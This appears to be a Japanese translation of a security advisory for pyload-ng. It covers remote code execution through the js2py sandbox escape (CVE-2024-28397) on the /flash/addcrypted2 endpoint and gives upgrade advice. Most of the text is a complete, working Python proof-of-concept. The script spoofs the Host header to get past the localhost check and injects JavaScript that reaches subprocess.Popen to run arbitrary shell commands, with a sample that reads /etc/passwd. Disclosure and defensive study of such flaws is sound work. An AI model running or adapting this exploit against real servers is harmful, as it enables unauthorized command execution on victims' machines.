
js2py のサンドボックスエスケープによる Pyload RCE
js2py サンドボックスエスケープを利用した Pyload RCE
python3.11 以下で実行されている pyload-ng は、RCE に対して脆弱です。攻撃者は任意のシェルコマンドを含むリクエストを送信するだけで、被害サーバー上で即座にそのコマンドが実行されます。
pyload-ng の最新版にアップグレードするか、単に pyload を python3.12 以上で実行してください。
js2py には、CVE-2024-28397 として割り当てられたサンドボックスエスケープの脆弱性があり、これは pyload-ng の /flash/addcrypted2 API エンドポイントで使用されています。このエンドポイントは localhost 接続のみを受け付けるように設計されていますが、HTTP ヘッダーを使用してこの制限をバイパスし、この API にアクセスして RCE を達成できます。
PoC は以下の通りです。実行するシェルコマンドを変更できます。
import socket
import base64
from urllib.parse import quote
host, port = input("host: "), int(input("port: "))
payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
"""
crypted_b64 = base64.b64encode(b"1234").decode()
data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"
request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}
{data}
""".encode().replace(b"\n", b"\r\n")
def main():
s = socket.socket()
s.connect((host, port))
s.send(request)
response = s.recv(1024).decode()
print(response)
if __name__ == "__main__":
main()
python3.11 以下で、pyload-ng の最新バージョン(<=0.5.0b3.dev85)を実行しているすべてのユーザーが影響を受けます。pyload-ng は python3.12 以上では js2py を使用しません。
https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g